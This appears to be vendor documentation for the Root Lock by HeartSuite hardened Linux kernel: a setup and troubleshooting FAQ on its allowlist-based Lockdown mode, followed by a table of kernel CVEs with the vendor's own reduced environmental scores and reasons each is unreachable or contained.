A: For product bugs, email support@heartsecsuite.com with your Root Lock by HeartSuite version, kernel version (uname -r), the protection state shown at the top of your Dashboard, and steps to reproduce. For documentation corrections, open an issue on heartsuite-docs. For security vulnerabilities, email support@heartsecsuite.com for responsible disclosure — do not use public issue trackers.

Can Root Lock by HeartSuite automatically backup files?

A: Yes. Every time a file in a configured directory is modified, Root Lock by HeartSuite automatically creates a new versioned backup with a timestamp and file size. Under Lockdown, the kernel itself blocks any program (including root) from reaching the backup files — so even if an attacker compromises an approved program, the previous versions remain intact. Versions are never automatically deleted. Use the Dashboard’s Backup ([b]) to add or remove directories, browse version history, and restore any previous version of a file.

Will Root Lock by HeartSuite flood me with alerts?

A: No. Most security products generate high volumes of alerts because they flag suspicious patterns — leading to alert fatigue where real threats get lost in the noise. Root Lock by HeartSuite only alerts on genuinely unauthorized activity: a program attempting to execute without approval, or an outbound connection to an unapproved destination. Events are deduplicated and batched in 5-minute windows, with an hourly cap on email alerts. In Lockdown with a complete allowlist, alerts are rare — because the allowlist already covers all legitimate activity. Configure alerts through the Dashboard’s Alert Settings ([e]) (email, syslog, or webhook).

What does the free trial include?

A: Lockdown requires an active subscription, all review queues to be cleared, and alert settings to be configured. Setup Mode logs activity without blocking — you can observe your workload, but blocking is not active. The Dashboard presents a precondition checklist before activation.

I work remotely a lot; can I still access a Root Lock by HeartSuite server remotely?

A: Yes. Allowlist the SSH program and the IP addresses you connect from — remote access works the same as any other approved program.

What is the Dashboard?

A: The Dashboard is how you manage Root Lock by HeartSuite. It shows your current mode (Setup or Lockdown), progress through each setup phase, pending or denied counts, and a Suggested Next Step that tells you exactly what to do next. The indicator at the top confirms the current protection state at a glance. The Dashboard appears automatically on first login.

How does Root Lock by HeartSuite guide me through setup?

A: The Dashboard walks you through seven phases, from verifying your installation to activating full protection. Each phase focuses on one task — approving programs ([p]), configuring script launchers ([l]), approving file access ([f]), approving internet access ([i]), and setting up alerts ([e]). The Dashboard tracks your progress and always shows the next step. Lockdown unlocks only after all prior phases are complete.

Installation

Will installing the Root Lock by HeartSuite kernel break my existing software?

A: The HeartSuite kernel is installed alongside your existing kernel via GRUB — it does not replace it. You can boot back to the maintenance kernel at any time from the GRUB menu, and the Dashboard remains accessible on both. The HeartSuite kernel is based on mainline LTS Linux (5.19 or 6.18), not a fork.

Setup Mode reveals compatibility issues before Lockdown enforces anything. During Setup Mode the system logs all activity without blocking — programs that would fail in Lockdown appear in the Dashboard review queues during the observation period. You see what is affected before anything is blocked.

All feature removals are intentional design decisions and documented in System Requirements → Software Compatibility Notes. Software not listed in that table will run without modification. The removed features — eBPF, FUSE, overlay filesystems, unprivileged user namespaces — are the privilege-escalation primitives that give attackers the attack surface, path to root, and bypass of enforcement; most production server workloads do not depend on them. The HeartSuite kernel is built without them by design.

Once I’ve installed Root Lock by HeartSuite, can a program access files without adding the directories to the allowlist entry?

A: No. In Lockdown, a program can only access files and directories that have been explicitly approved through the Dashboard’s File Access review queue. After allowlisting a program’s execution in Phase 2, you approve its file access in Phase 4 — the Dashboard shows every file the program attempted to read or write.

Why do I need to reboot multiple times during installation?

A: The Root Lock by HeartSuite kernel must be loaded during the installation process. Each setup step — run via the System Setup — captures startup and shutdown programs that appeared in the previous boot. Multiple steps are needed because shutdown programs appear on the second boot, and timer-driven processes on later ones. Skipping steps can leave essential programs unapproved, which would cause the system to hang in Lockdown.

If the reboot after Part 1 fails, what should I do?

A: Check GRUB settings (e.g., uncomment GRUB_DISABLE_LINUX_UUID for VMs), verify installation logs, and try recovery mode.

The System Setup is not showing Setup Complete — what next?

A: Check the Dashboard’s Suggested Next Step — it will indicate what remains. Press [a] from the System Setup to run the next step. The system reboots automatically after each step that finds new programs.

Allowlisting

A new program is being blocked in Lockdown — what should I do?

A: In Lockdown, any program not on the allowlist is blocked. This typically happens after installing new software or a system update that introduces programs Root Lock by HeartSuite has not seen before. To resolve it, select Maintenance ([m]) from the Dashboard — it guides you through switching to Setup Mode, where the new program appears in the review queue. Approve it from there, then re-engage Lockdown.

Can I allowlist directories instead of files?

A: Yes. When the Dashboard’s File Access review queue presents grouped accesses from the same directory, you can approve directory-level access rather than approving each file individually. For example, if Python reads 200 files from /usr/lib/python3/, the review queue groups them and lets you approve access to the entire directory at once.

How do I activate Lockdown?

A: The Dashboard unlocks Lockdown when all prior phases are complete and shows it as the Suggested Next Step. Activation requires typing YES (case-sensitive) to confirm.

How do I add network access for a program?

A: Root Lock by HeartSuite requires every outbound connection to be explicitly approved per program. When a program attempts a connection during Setup Mode, it appears in the Dashboard’s Internet Access review queue with the destination IP, reverse DNS, and program metadata. Approve the connection from there. In Lockdown, any connection not on the allowlist is refused at the kernel.

Modes and security

When should I activate Lockdown?

A: After the Dashboard shows all review phases complete. Take your time in Setup Mode — allow several days to a week for systemd timers, cron jobs, and infrequent services to appear in the review queues. The status line at the bottom of the Dashboard shows how long Setup Mode has been active (e.g., “Setup Mode — active for 3d 7h”), so you can easily track your observation period. Switching too early will block programs that have not been approved.

What is Lockdown, and when to use it?

A: Lockdown makes all allowlist entries and configuration files immutable (chattr +i), then disables the ability to change immutability flags at the kernel level. No user or program — including root — can modify, delete, or add allowlist entries while Lockdown is active. Use it in production after confirming all programs work correctly in Lockdown.

How do I apply the immutable seal after Lockdown?

A: The seal is applied as part of Lockdown activation (see the “How do I activate Lockdown?” entry above). Once confirmed and rebooted, Lockdown + sealed is active automatically on every HeartSuite kernel boot.

How do I make configuration changes after entering Lockdown?

A: Select the Maintenance ([m]) from the Dashboard. It detects that Lockdown is active and guides you through a 3-step process: booting the maintenance kernel to remove immutable flags ([u]), making your changes, then rebooting back to the Root Lock by HeartSuite kernel to review new activity and re-engage Lockdown. The Dashboard resumes at the correct step after each reboot.

How do I maintain or update in Lockdown?

A: Select the Maintenance ([m]) from the Dashboard. It detects whether Lockdown is active and guides you through the correct path — either a simple switch to Setup Mode, or a guided 3-step process across two reboots if Lockdown requires the maintenance kernel. The Dashboard handles all steps including a pre-maintenance safety checklist.

Troubleshooting

How do I check if Root Lock by HeartSuite is active?

A: The indicator at the top of the Dashboard immediately shows whether Root Lock by HeartSuite is active and what mode it is in. The Dashboard appears automatically on login.

The system hangs—what’s first?

A: Reboot into the maintenance kernel (select the Maintenance entry from GRUB). The Dashboard resumes automatically on the maintenance kernel and guides you through the maintenance steps. Once back on the Root Lock by HeartSuite kernel, the Dashboard will show any pending items that caused the hang.

How to clear Root Lock by HeartSuite logs?

A: The Dashboard automatically clears the activity log when all review queues are empty — no manual action is required.

For support email support@heartsecsuite.com.

14 - Kernel Security Transparency

CVE status for the Root Lock by HeartSuite kernel — precise status and technical rationale for each relevant vulnerability, including Not Affected entries where the vulnerable code path is absent by design.

Root Lock by HeartSuite was designed to contain only what is necessary.
Everything else was never there to begin with.

153 high and critical CVEs — Score on HeartSuite 0.0.

Every kernel CVE relevant to Root Lock by HeartSuite — what it can do, what it cannot, and why.

The Score on HeartSuite column shows the CVSS v3.1 Environmental Score for a Root Lock by HeartSuite deployment — the actual risk on your system, not the theoretical worst case. Where the attack surface is absent — hardware not present, trigger not installed — the Score on HeartSuite is 0.0 regardless of Base Score. Where the code path is reachable, MI is reduced from High to Low: Lockdown’s allowlist refuses new code execution and blocks allowlist modification. Scores are computed using CR=M, IR=M, AR=M with no Temporal adjustments.

CVE Status

153

High & Critical CVEs reduced to Score on HeartSuite 0.0

Attack surface absent by design.

34

CVEs with reachable code paths

Even with root, the system refuses new code. No persistence. No survival after reboot.

1046

Additional CVEs

Kernel features never compiled in.

Understanding CVE Scores in HeartSuite

CVEs are rated by severity (e.g., HIGH means a score of 7+). A “0.0” score here means HeartSuite fully neutralizes the vulnerability—it’s not reachable. A “non-zero” score means the flaw can still be exploited in HS, but its impact is limited, often to temporary effects that a reboot clears. This helps you see real risks clearly.

What malware can and cannot do on this system

Across every reachable CVE in this document, the answer is the same — and short.

Blocked

  • Persistence across reboot. No service, cron job, init script running new code, or kernel module added by the attacker survives a reboot. The allowlist is populated only at boot from your authorized sources; any in-memory tampering is wiped on the next boot.

Supply-chain compromise: contained, not prevented.
If malware arrives inside a trusted update, HeartSuite does not block it from running — it was authorized. What HeartSuite does enforce is the blast radius. The malware cannot launch processes outside the allowlist, cannot reach unallowlisted network destinations, and cannot install additional code. A compromised supplier gets one program slot, not the system.

  • New program execution. The kernel refuses to run any program not in the Lockdown allowlist, regardless of root privilege. Backdoors, custom exploit tools, droppers, and post-exploitation frameworks cannot run.
  • Kernel module loading post-boot. On Debian 12, modprobe and insmod are symlinks to kmod, which is added to the allowlist during standard Setup Mode via systemd-modules-load.service. Lockdown’s file-access enforcement denies kmod access to /usr/lib/modprobe.d/ by default — module loading fails at the file-read stage before any module can be loaded. Module-based rootkits cannot be installed.
  • Allowlist modification at runtime. The runtime allowlist lives in kernel memory and is not modifiable post-boot. The on-disk allowlist file is chattr +i immutable; Lockdown blocks FS_IOC_SETFLAGS so root cannot strip the immutable flag.
  • Mounting new filesystems. Lockdown blocks mount(), fsmount(), and move_mount() after boot. Bind-mounts and remounts to shadow allowlisted paths are refused.

Bounded by allowlist composition

  • Data exfiltration. Reading data is not constrained — root with kernel-context primitives can read any file. Sending data off-host is bounded by which networked utilities are in your allowlist. Deployments with no outbound networking utilities allowlisted have no in-band exfiltration path.
  • Service disruption. Root can panic the kernel via syscall primitives or kill -9 allowlisted services. Availability hardening is a separate control; HS does not prevent denial-of-service.
  • Lateral movement. Attackers can pivot through whatever the allowlisted process tree permits, but cannot extend that tree. New processes outside the allowlist do not run.

Under Lockdown, the kernel controls three things per program — whether it can execute, which files it can read or write, and which network destinations it can reach — and holds those controls regardless of user privilege, including root. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the machine is running.

Out of scope

  • Sensitive-data disclosure during the live session. A root attacker can read disk content while the session is active. Confidentiality during the breach is the role of disk encryption, not Lockdown.
  • Hardware-level and pre-boot threats. Firmware compromise, baseboard management exploits, and physical attacks on the boot chain are outside the HS attack surface.
  • Misconfigured allowlists. If you allowlist tools you should not — modprobe, bpftool, networked exfiltration utilities — outcomes move from “Blocked” to “Bounded” and from “Bounded” to “Allowed.” See the deployment-tuning note.

The reason the answer is the same for every reachable CVE in this document is that HeartSuite’s enforcement is structural, not state-based. Most kernel hardening products gate enforcement on a state variable that an attacker with arbitrary kernel write can clear in a single instruction. Lockdown’s allowlist is consulted on every execve regardless of any state variable. There is no kill-switch.

CVEComponentBase ScoreScore on HeartSuiteStatus
CVE-2024-47685nf_reject_ipv69.1 CRITICAL0.0Score on HeartSuite 0.0 — trigger not present in default configuration
CVE-2022-41674, CVE-2022-42719, CVE-2022-42720mac802118.8 / 8.1 / 7.8 HIGH0.0Hardware absent on server deployments
CVE-2026-23193Linux iSCSI target (CONFIG_ISCSI_TARGET)8.8 HIGH0.0Not Affected — CONFIG_ISCSI_TARGET not compiled
CVE-2026-43284XFRM/IPv6 ESP (CONFIG_XFRM, CONFIG_INET6_ESP)8.8 HIGH0.0Not exploitable — esp_output unreachable; no XFRM SA can be established; IPsec management tools absent from HS allowlist; Dirty Frag chain broken (rxrpc absent)
CVE-2023-0266ALSA PCM7.9 HIGH0.0Hardware absent on server deployments
CVE-2026-31431algif_aead (AF_ALG)7.8 HIGH0.0Code not compiled in
CVE-2026-43500rxrpc (CONFIG_AF_RXRPC)7.8 HIGH0.0Not Affected — CONFIG_AF_RXRPC not compiled; Dirty Frag chain cannot execute on Root Lock by HeartSuite
CVE-2022-4139i915 GPU7.8 HIGH0.0Hardware absent on server deployments
CVE-2023-2236, CVE-2022-3910io_uring7.8 HIGH7.1–7.3 HIGHAffected — Lockdown reduces persistence and integrity impact; confidentiality and availability remain HIGH
CVE-2023-52530mac80211 wireless stack (CONFIG_MAC80211)7.8 HIGH0.0No WiFi NIC present
CVE-2023-52612kernel crypto framework — scomp interface (CONFIG_CRYPTO)7.8 HIGH0.0Not exploitable — CONFIG_INET_IPCOMP not compiled; no compression algorithm registered; scomp_acomp_comp_decomp() unreachable
CVE-2024-26704ext4 filesystem — online defragmentation (CONFIG_EXT4_FS)7.8 HIGH0.0Not exploitable — EXT4_IOC_MOVE_EXT ioctl only reached by defrag tools; none in HS allowlist
CVE-2024-26842SCSI subsystem (CONFIG_SCSI)7.8 HIGH0.0UFS flash storage absent on x86 server
CVE-2022-48662Intel i915 DRM driver (CONFIG_DRM_I915)7.8 HIGH0.0No Intel display GPU present
CVE-2024-26934USB core (CONFIG_USB)7.8 HIGH0.0Not exploitable — no USB interface device on headless server; race condition unreachable
CVE-2022-48702EMU10K1 audio driver (CONFIG_SND_EMU10K1)7.8 HIGH0.0CONFIG_SND_EMU10K1 not set
CVE-2022-48695mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS)7.8 HIGH0.0CONFIG_SCSI_MPT3SAS not set
CVE-2024-35789mac80211 wireless stack (CONFIG_MAC80211)7.8 HIGH0.0No WiFi NIC present
CVE-2024-35886IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2023-52835perf events subsystem (CONFIG_PERF_EVENTS)7.8 HIGH0.0Not exploitable — perf_event_paranoid=3; no perf tooling in allowlist
CVE-2023-52868thermal management (CONFIG_THERMAL)7.8 HIGH0.0Not exploitable — thermal sysfs not in allowlist; Lockdown prevents modification
CVE-2024-38588kprobes (CONFIG_KPROBES)7.8 HIGH0.0Not exploitable — kprobe registration not in allowlist; Lockdown prevents modification
CVE-2024-40901LSI/Avago mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS)7.8 HIGH0.0Not Affected — CONFIG_SCSI_MPT3SAS not set
CVE-2024-41092Intel i915 DRM driver (CONFIG_DRM_I915)7.8 HIGH0.0No Intel display GPU present
CVE-2024-42136CD-ROM subsystem (CONFIG_CDROM)7.8 HIGH0.0CD-ROM drive absent on server
CVE-2024-44985IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2024-44986IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2024-44987IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2024-46673Adaptec aacraid SCSI driver (CONFIG_SCSI_AACRAID)7.8 HIGH0.0Not Affected — CONFIG_SCSI_AACRAID not set
CVE-2024-46746AMD SFH HID driver (CONFIG_AMD_SFH_HID)7.8 HIGH0.0Not Affected — CONFIG_AMD_SFH_HID not set
CVE-2024-46798ALSA rawmidi subsystem (CONFIG_SND_RAWMIDI)7.8 HIGH0.0Not Affected — CONFIG_SND_RAWMIDI not compiled
CVE-2024-46849Amlogic Meson ASoC driver (CONFIG_SND_MESON_CARD_UTILS)7.8 HIGH0.0Not Affected — driver not compiled in
CVE-2024-47682SCSI subsystem (CONFIG_SCSI)7.8 HIGH0.0Not exploitable — non-conformant VPD firmware absent; standard SAS/SATA drives conform to SCSI spec
CVE-2024-47701ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH7.3 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2024-49852Emulex EFC FC driver (CONFIG_SCSI_EFCT)7.8 HIGH0.0Not Affected — CONFIG_SCSI_EFCT not compiled
CVE-2024-49882ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH7.3 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2024-49883ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH7.3 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2024-49884ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH7.3 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2024-49889ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH7.3 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2024-49960ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH0.0Not exploitable — mount() blocked by Lockdown
CVE-2024-49983ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH0.0Not exploitable — mount() blocked by Lockdown
CVE-2024-50007ASIHPI soundcard driver (CONFIG_SND_ASIHPI)7.8 HIGH0.0Not Affected — CONFIG_SND_ASIHPI not compiled
CVE-2022-48951ALSA SoC layer (CONFIG_SND_SOC)7.8 HIGH0.0Not Affected — CONFIG_SND_SOC not compiled
CVE-2022-48956IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2022-49022mac80211 wireless stack (CONFIG_MAC80211)7.8 HIGH0.0No WiFi NIC present
CVE-2022-49023cfg80211 wireless framework (CONFIG_CFG80211)7.8 HIGH0.0No WiFi NIC present
CVE-2024-53170SCSI subsystem (CONFIG_SCSI)7.8 HIGH7.3 HIGHAffected — CONFIG_SCSI=y; Lockdown limits post-exploitation
CVE-2024-53173NFS v4 client (CONFIG_NFS_V4)7.8 HIGH0.0Not exploitable — mount() blocked by Lockdown; no NFS v4 share reachable on HS
CVE-2024-53214VFIO subsystem (CONFIG_VFIO)7.8 HIGH0.0Not Affected — CONFIG_VFIO not compiled
CVE-2024-53227Brocade bfa FC driver (CONFIG_SCSI_BFA_FC)7.8 HIGH0.0Not Affected — CONFIG_SCSI_BFA_FC not compiled
CVE-2024-532396fire USB audio driver (CONFIG_SND_USB_6FIRE)7.8 HIGH0.0Not Affected — CONFIG_SND_USB_6FIRE not compiled
CVE-2024-56609Realtek rtw88 WiFi driver (CONFIG_RTW88)7.8 HIGH0.0Not Affected — CONFIG_RTW88 not compiled
CVE-2024-56631SCSI generic driver (CONFIG_CHR_DEV_SG)7.8 HIGH0.0Not exploitable — /dev/sg* not in allowlist; Lockdown prevents modification
CVE-2024-57899mac80211 wireless stack (CONFIG_MAC80211)7.8 HIGH0.0Not Affected — 32-bit-specific vulnerability; HS kernel is x86_64
CVE-2025-21863io_uring (CONFIG_IO_URING)7.8 HIGH7.3 HIGHAffected — CONFIG_IO_URING=y; Lockdown limits post-exploitation
CVE-2023-52930Intel i915 DRM driver (CONFIG_DRM_I915)7.8 HIGH0.0No Intel display GPU present
CVE-2023-52988Intel HDA audio driver (CONFIG_SND_HDA_INTEL)7.8 HIGH0.0Not exploitable — no audio hardware present
CVE-2025-22083vhost-SCSI driver (CONFIG_VHOST_SCSI)7.8 HIGH0.0Not Affected — CONFIG_VHOST_SCSI not compiled
CVE-2025-40364io_uring (CONFIG_IO_URING)7.8 HIGH7.3 HIGHAffected — CONFIG_IO_URING=y; Lockdown limits post-exploitation
CVE-2025-37738ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH0.0Not exploitable — mount() blocked by Lockdown; crafted xattr image cannot be mounted
CVE-2022-49789IBM Z Fibre Channel driver (CONFIG_ZFCP)7.8 HIGH0.0Not Affected — CONFIG_ZFCP not compiled
CVE-2022-49842ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2023-53037Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR)7.8 HIGH0.0Not Affected — CONFIG_SCSI_MPI3MR not set
CVE-2023-53039Intel ISH HID driver (CONFIG_INTEL_ISH_HID)7.8 HIGH0.0Not Affected — CONFIG_INTEL_ISH_HID not compiled
CVE-2023-53065perf events subsystem (CONFIG_PERF_EVENTS)7.8 HIGH0.0Not exploitable — perf_event_paranoid=3; no perf tooling in allowlist
CVE-2025-37861Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR)7.8 HIGH0.0Not Affected — CONFIG_SCSI_MPI3MR not set
CVE-2025-37979Qualcomm sc7280 ASoC driver (CONFIG_SND_SOC_SC7280)7.8 HIGH0.0Not Affected — CONFIG_SND_SOC_SC7280 not compiled
CVE-2022-49934mac80211 wireless stack (CONFIG_MAC80211)7.8 HIGH0.0No WiFi NIC present
CVE-2025-38206exFAT filesystem (CONFIG_EXFAT_FS)7.8 HIGH0.0Not Affected — CONFIG_EXFAT_FS not compiled
CVE-2025-38239LSI MegaRAID SAS driver (CONFIG_MEGARAID_SAS)7.8 HIGH0.0Not Affected — CONFIG_MEGARAID_SAS not set
CVE-2025-38389Intel i915 DRM driver (CONFIG_DRM_I915)7.8 HIGH0.0No Intel display GPU present
CVE-2025-38494HID subsystem (CONFIG_HID)7.8 HIGH0.0No USB HID input devices on headless server
CVE-2025-38550IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2025-38563perf events subsystem (CONFIG_PERF_EVENTS)7.8 HIGH0.0Not exploitable — perf_event_paranoid=3; no perf tooling in allowlist
CVE-2025-38565perf events subsystem (CONFIG_PERF_EVENTS)7.8 HIGH0.0Not exploitable — perf_event_paranoid=3; no perf tooling in allowlist
CVE-2025-38572IPv6 networking stack (CONFIG_IPV6)7.8 HIGH7.3 HIGHAffected — CONFIG_IPV6=y; Lockdown limits post-exploitation
CVE-2025-38699Brocade bfa FC driver (CONFIG_SCSI_BFA_FC)7.8 HIGH0.0Not Affected — CONFIG_SCSI_BFA_FC not compiled
CVE-2025-38729ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2025-39788SCSI subsystem (CONFIG_SCSI)7.8 HIGH0.0UFS flash storage absent on x86 server
CVE-2023-53257mac80211 wireless stack (CONFIG_MAC80211)7.8 HIGH0.0No WiFi NIC present
CVE-2023-53282Emulex lpfc FC driver (CONFIG_SCSI_LPFC)7.8 HIGH0.0Not Affected — CONFIG_SCSI_LPFC not compiled
CVE-2023-53285ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH0.0Not exploitable — raw block device write tool absent from HS allowlist
CVE-2023-53320Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR)7.8 HIGH0.0Not Affected — CONFIG_SCSI_MPI3MR not set
CVE-2023-53322QLogic qla2xxx FC driver (CONFIG_SCSI_QLA_FC)7.8 HIGH0.0Not Affected — CONFIG_SCSI_QLA_FC not compiled
CVE-2022-50378DRM subsystem (CONFIG_DRM)7.8 HIGH0.0Amlogic Meson ARM SoC GPU absent
CVE-2025-39841Emulex lpfc FC driver (CONFIG_SCSI_LPFC)7.8 HIGH0.0Not Affected — CONFIG_SCSI_LPFC not compiled
CVE-2025-39864cfg80211 wireless framework (CONFIG_CFG80211)7.8 HIGH0.0No WiFi NIC present
CVE-2025-39866VFS writeback subsystem7.8 HIGH7.3 HIGHAffected — writeback always active; Lockdown limits post-exploitation
CVE-2022-50422SAS libsas library (CONFIG_SCSI_SAS_LIBSAS)7.8 HIGH0.0Not Affected — CONFIG_SCSI_SAS_LIBSAS not set
CVE-2022-50432kernfs subsystem (CONFIG_KERNFS)7.8 HIGH7.3 HIGHAffected — CONFIG_KERNFS=y; Lockdown limits post-exploitation
CVE-2023-53473ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH7.3 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2023-53510SCSI subsystem (CONFIG_SCSI)7.8 HIGH0.0UFS flash storage absent on x86 server
CVE-2022-50488BFQ I/O scheduler (CONFIG_IOSCHED_BFQ)7.8 HIGH0.0Not Affected — CONFIG_IOSCHED_BFQ not compiled
CVE-2022-50496device mapper (CONFIG_BLK_DEV_DM)7.8 HIGH7.3 HIGHAffected — CONFIG_BLK_DEV_DM=y; Lockdown limits post-exploitation
CVE-2022-50546ext4 filesystem (CONFIG_EXT4_FS)7.8 HIGH7.3 HIGHAffected — CONFIG_EXT4_FS=y; Lockdown limits post-exploitation
CVE-2023-53640ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2023-53676Linux iSCSI target (CONFIG_ISCSI_TARGET)7.8 HIGH0.0Not Affected — CONFIG_ISCSI_TARGET not compiled
CVE-2025-71075Adaptec aic94xx SAS driver (CONFIG_SCSI_AIC94XX)7.8 HIGH0.0Not Affected — CONFIG_SCSI_AIC94XX not set
CVE-2026-23078ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2026-23089ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2026-23191ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2026-23208ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2026-23216Linux iSCSI target (CONFIG_ISCSI_TARGET)7.8 HIGH0.0Not Affected — CONFIG_ISCSI_TARGET not compiled
CVE-2025-71238QLogic qla2xxx FC driver (CONFIG_SCSI_QLA_FC)7.8 HIGH0.0Not Affected — CONFIG_SCSI_QLA_FC not compiled
CVE-2026-31581ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2024-38586Realtek r8169 Ethernet driver (CONFIG_R8169)7.8 HIGH7.3 HIGHAffected — CONFIG_R8169=y; Lockdown limits post-exploitation
CVE-2024-38630watchdog timer subsystem (CONFIG_WATCHDOG)7.8 HIGH0.0Not exploitable — watchdog daemon not in allowlist; Lockdown prevents modification
CVE-2024-39463Plan 9 filesystem (9P) (CONFIG_9P_FS)7.8 HIGH0.0Not exploitable — mount() blocked by Lockdown; no 9P filesystem on HS deployments
CVE-2024-40956DMA engine framework (CONFIG_DMA_ENGINE)7.8 HIGH0.0Intel IAX/DSA accelerator hardware absent
CVE-2022-48867DMA engine framework (CONFIG_DMA_ENGINE)7.8 HIGH0.0Intel IAX/DSA accelerator hardware absent
CVE-2024-46759hardware monitoring subsystem (CONFIG_HWMON)7.8 HIGH0.0ADC128D818 I2C ADC chip absent
CVE-2022-49029hardware monitoring subsystem (CONFIG_HWMON)7.8 HIGH0.0IBM Power Management Extension hardware absent
CVE-2024-50127network traffic scheduler (CONFIG_NET_SCHED)7.8 HIGH0.0Not exploitable — tc not in allowlist; Lockdown prevents modification
CVE-2024-50131kernel tracing (CONFIG_TRACING)7.8 HIGH0.0Not exploitable — tracefs not in allowlist; Lockdown prevents modification
CVE-2024-53057network traffic scheduler (CONFIG_NET_SCHED)7.8 HIGH0.0Not exploitable — tc not in allowlist; Lockdown prevents modification
CVE-2024-56606AF_PACKET sockets (CONFIG_PACKET)7.8 HIGH0.0Not exploitable — CAP_NET_RAW not in allowlist; Lockdown prevents modification
CVE-2025-21692network traffic scheduler (CONFIG_NET_SCHED)7.8 HIGH0.0Not exploitable — tc not in allowlist; Lockdown prevents modification
CVE-2022-49892ftrace / function tracer (CONFIG_FTRACE)7.8 HIGH0.0Not exploitable — tracefs not in allowlist; Lockdown prevents modification
CVE-2022-49921network traffic scheduler (CONFIG_NET_SCHED)7.8 HIGH0.0Not exploitable — tc not in allowlist; Lockdown prevents modification
CVE-2023-53111loop block device (CONFIG_BLK_DEV_LOOP)7.8 HIGH0.0Not exploitable — /dev/loop* not in allowlist; Lockdown prevents modification
CVE-2025-37914network traffic scheduler (CONFIG_NET_SCHED)7.8 HIGH0.0Not exploitable — tc not in allowlist; Lockdown prevents modification
CVE-2025-37923kernel tracing (CONFIG_TRACING)7.8 HIGH0.0Not exploitable — tracefs not in allowlist; Lockdown prevents modification
CVE-2025-38369DMA engine framework (CONFIG_DMA_ENGINE)7.8 HIGH0.0Intel IAX/DSA accelerator hardware absent
CVE-2025-38548hardware monitoring subsystem (CONFIG_HWMON)7.8 HIGH0.0Corsair Commander Pro hardware absent
CVE-2022-50320ACPI subsystem (CONFIG_ACPI)7.8 HIGH0.0Not exploitable — FPDT crash requires malformed firmware; not reachable on standard OEM hardware
CVE-2023-53395ACPI subsystem (CONFIG_ACPI)7.8 HIGH0.0Not exploitable — AML exploit requires crafted firmware; ACPI tables read-only after boot
CVE-2022-50423ACPI subsystem (CONFIG_ACPI)7.8 HIGH7.3 HIGHAffected — CONFIG_ACPI=y; Lockdown limits post-exploitation
CVE-2026-23378network traffic scheduler (CONFIG_NET_SCHED)7.8 HIGH0.0Not exploitable — tc not in allowlist; Lockdown prevents modification
CVE-2024-36971TCP/IP networking (CONFIG_INET)7.8 HIGH7.3 HIGHAffected — CONFIG_INET=y; Lockdown limits post-exploitation
CVE-2024-38577RCU tasks subsystem (CONFIG_TASKS_RCU)7.8 HIGH7.3 HIGHAffected — CONFIG_TASKS_RCU=y; Lockdown limits post-exploitation
CVE-2024-40958network namespaces (CONFIG_NET_NS)7.8 HIGH0.0Not exploitable — CLONE_NEWNET not in allowlist; Lockdown prevents modification
CVE-2024-41039ALSA sound subsystem (CONFIG_SND)7.8 HIGH0.0No audio hardware present
CVE-2024-46713perf events subsystem (CONFIG_PERF_EVENTS)7.8 HIGH0.0Not exploitable — perf_event_paranoid=3; no perf tooling in allowlist
CVE-2024-46852DMA-BUF shared buffer (CONFIG_DMA_SHARED_BUFFER)7.8 HIGH0.0Not exploitable — no DRM/GPU device on headless server
CVE-2022-48950perf events subsystem (CONFIG_PERF_EVENTS)7.8 HIGH0.0Not exploitable — perf_event_paranoid=3; no perf tooling in allowlist
CVE-2022-49026Intel e100 Fast Ethernet driver (CONFIG_E100)7.8 HIGH0.0Not exploitable — Intel Pro/100 NIC not present on modern server hardware
CVE-2024-50055core kernel (CONFIG_BASE_FULL)7.8 HIGH7.3 HIGHAffected — CONFIG_BASE_FULL=y; Lockdown limits post-exploitation
CVE-2024-50112x86_64 architecture (CONFIG_X86_64)7.8 HIGH0.0Not Affected — LAM not implemented in Linux 5.19.x; introduced in 6.2
